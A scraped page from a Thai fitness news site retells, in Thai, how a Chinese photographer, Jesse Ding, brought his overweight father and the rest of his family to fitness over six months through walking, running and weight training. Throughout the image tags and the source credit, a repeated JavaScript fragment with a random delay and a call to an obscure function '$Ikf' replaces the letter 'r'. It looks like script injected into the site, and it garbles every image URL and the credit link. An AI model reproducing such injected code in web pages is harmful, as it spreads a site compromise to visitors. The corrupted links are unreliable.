• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home News Healthy News

แรงบันดาลใจอยู่ที่เมืองจีน : 6 เดือนนี้ครอบครัวเราจะฟิตไปด้วยกัน

kan by kan
11 January 2018
in Healthy News, News, Running News
0
แรงบันดาลใจอยู่ที่เมืองจีน : 6 เดือนนี้ครอบครัวเราจะฟิตไปด้วยกัน
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

การลดน้ำหนักร่างกายไม่ใช่เรื่องง่ายครับ อย่างแรก คุณต้องปรับพฤติกรรมการใช้ชีวิตใหม่ เริ่มจากเรื่องกิน ตามด้วยการขยับร่างกายให้บ่อยขึ้น และการออกกำลังกายอย่างสม่ำเสมอ มีแบบแผน มีขั้นตอนและเป้าหมายที่ชัดเจน แต่ที่สำคัญสุดคือแรงกระตุ้น แรงบันดาลใจในการผลักดันให้เราลุกขึ้นมาเปลี่ยนชีวิต กระตุ้นให้ออกกำลังกาย ปรับเปลี่ยนเรื่องกิน ให้ความสนใจแก่ร่างกายเรามากขึ้น

เรื่องราวน่าสนใจและควรเอาเป็นแบบอย่างต่อไปนี้ส่งตรงมาจากเมืองจีน เมื่อว่าที่คุณพ่อ Jesse Ding (อาชีพช่างภาพ) ได้ชักชนคุณพ่อและคุณแม่ของเขา ขณะย้ายที่เข้ามาพักที่บ้านของเขาชั่วคราวเพื่อดูแลภรรยาที่กำลังตั้งครรภ์

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-after-6-month-weight-loss-results-25-5a4b3e7ccf6ce-602×800.jpg” alt=”” width=”602″ height=”800″ />

คุณพ่อของนาย Jesse Ding มีปัญหาเป็นโรคน้ำหนักเกินมาตรฐานแถมยังมีอาการติดแอลกอฮอล์ และด้วยเหตุที่ย้ายเข้ามาอยู่บ้านหลังเดียวกัน นาย Jesse Ding จึงเริ่มชักชนให้คุณพ่อของเขาเริ่มมาออกกำลังกายด้วยกัน

เริ่มจากการเดินเร็ว จ๊อกกิ้ง วิ่ง และจากนั้นก็เริ่มมีการยกเวท ทำไปทำมาคนทั้งครอบครัว ไม่ว่าคุณแม่และคุณภรรยาก็เอากับเขาด้วย ภายใน 6 เดือน ผลที่ได้มาถือว่าเกินคุ้มเลยครับ ทุกคนในครอบครัวฟิตและแข็งแรงกันผิดหูผิดตาเลย โดยเฉพาะคุณพ่อนี้ดูเปลี่ยนไปเป็นคนละคนเลย

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-after-6-month-weight-loss-results-13-5a4b3e2aa7d92__700-509×800.jpg” alt=”” width=”509″ height=”800″ />

แต่กระบวนการฝึกนี้น่าสนใจมากครับ บ่งบอกได้ว่าคุณ Jesse Ding มีการว่างแผนการฝึกอย่างเป็นแบบแผนมาก เริ่มจากให้เดินเร็วก่อน ซึ่งสำหรับคนที่ไม่เคยออกกำลังกายมากก่อนเลย จะเป็นกระบวนการกระตุ้นให้ร่างกายสร้างกล้ามเนื้อขึ้นมาใหม่ ให้หัวใจและปอดได้กระตุ้นเบาๆ เพื่อปูพื้นฐานไปสู่การวิ่งจ๊อกกิ้งต่อไป

จากวิ่งเบาๆ จ๊อกกิ้งมาสู่การวิ่งจริงจัง และไปสู่การเล่นเวท อันนี้ก็น่าสนใจไม่น้อย หลังจากปรับสภาพร่างกายให้พร้อมกับการออกกำลังกายที่หนักขึ้น นักวิ่งมือใหม่จะถูกแนะนำให้เดินสลับวิ่งก่อนในระยะแรก โดยทีเวลาเดินจะมากกว่าการวิ่งจ๊อกกิ้ง จากนั้นก็เริ่มปรับให้เวลาเดินลดลง เวลาวิ่งเพิ่มขึ้น เมื่อนักวิ่งสามารถวิ่งตลอดระยะเวลาที่กำหนด ก็จะเริ่มเปลี่ยนจากการจ๊อกกิ้งมาเป็นการวิ่ง (วิ่งจริงจังหรือจะทำความเร็วก็แล้วแต่) แน่นอนว่าหลักการฝึกก็คล้ายๆ กัน คือ ค่อยๆ ปรับเวลาจ๊อกกิ้งให้น้อยลง เวลาวิ่งให้มากขึ้น

เพื่อให้การลดน้ำหนักได้ผลดีมากขึ้น การเล่นเวทหรือการฝึกกล้ามเนื้อเป็นเรื่องที่เลี่ยงไม่ได้ ข้อดีของการเล่นเวทสร้างกล้ามเนื้อ คือ กล้ามเนื้อที่เพิ่มมากขึ้นจะต้องการใช้พลังงานมากตามไปด้วย ร่างกายจะมีการเบริ์นพลังงานมากกว่าเดิม ไม่ว่าจะเดินหรือวิ่ง หรือแม้แต่ขณะเวลานอนหลับด้วย อีกข้อหนึ่งคือ จะช่วยลดการเกิดอาการบาดเจ็บของกล้ามเนื้อและเพิ่ม performance เพราะกล้ามเนื้อมีการถูกฝึกให้แข็งแกร่งมากขึ้น

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-after-6-month-weight-loss-results-36-5a4b3e94084b0__700.jpg” alt=”” width=”700″ height=”421″ />

การจะฝึกได้ขนาดนี้จำเป็นต้องมีเเบบเเผนด้วยนะครับ อย่างการฝึกเวทนี้ เท่าที่ดูมา ก็จะใช้บริการเทรนเนอร์ด้วย จะฝึกกล้ามเนื้อมัดไหนชุดไหน เพื่อให้ได้ 6 เเพค ต้องใช้ผู้เชี่ยวชาญช่วยกำกับ เเละผมว่าเขาคงต้องมีการกำหนดปริมาณอาหารด้วยเช่นกัน

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-after-6-month-weight-loss-results-18-5a4b3e4e9a578-jpeg__700.jpg” alt=”” width=”700″ height=”485″ />

เขาว่า 1 คนเเข็งเเรง ครอบครัวก็จะเเข็งเเรงตามไปด้วย…นี้เรื่องจริงเเท้เเน่นอน เหมือนอย่างครอบครัวพี่ Jesse Ding เลยครับ

แปลเเละเรียบเรียง : andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anda.com/chinese-family-before-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-after-6-month-weight-loss-results/”>www.boredpandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anda.competapixel.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.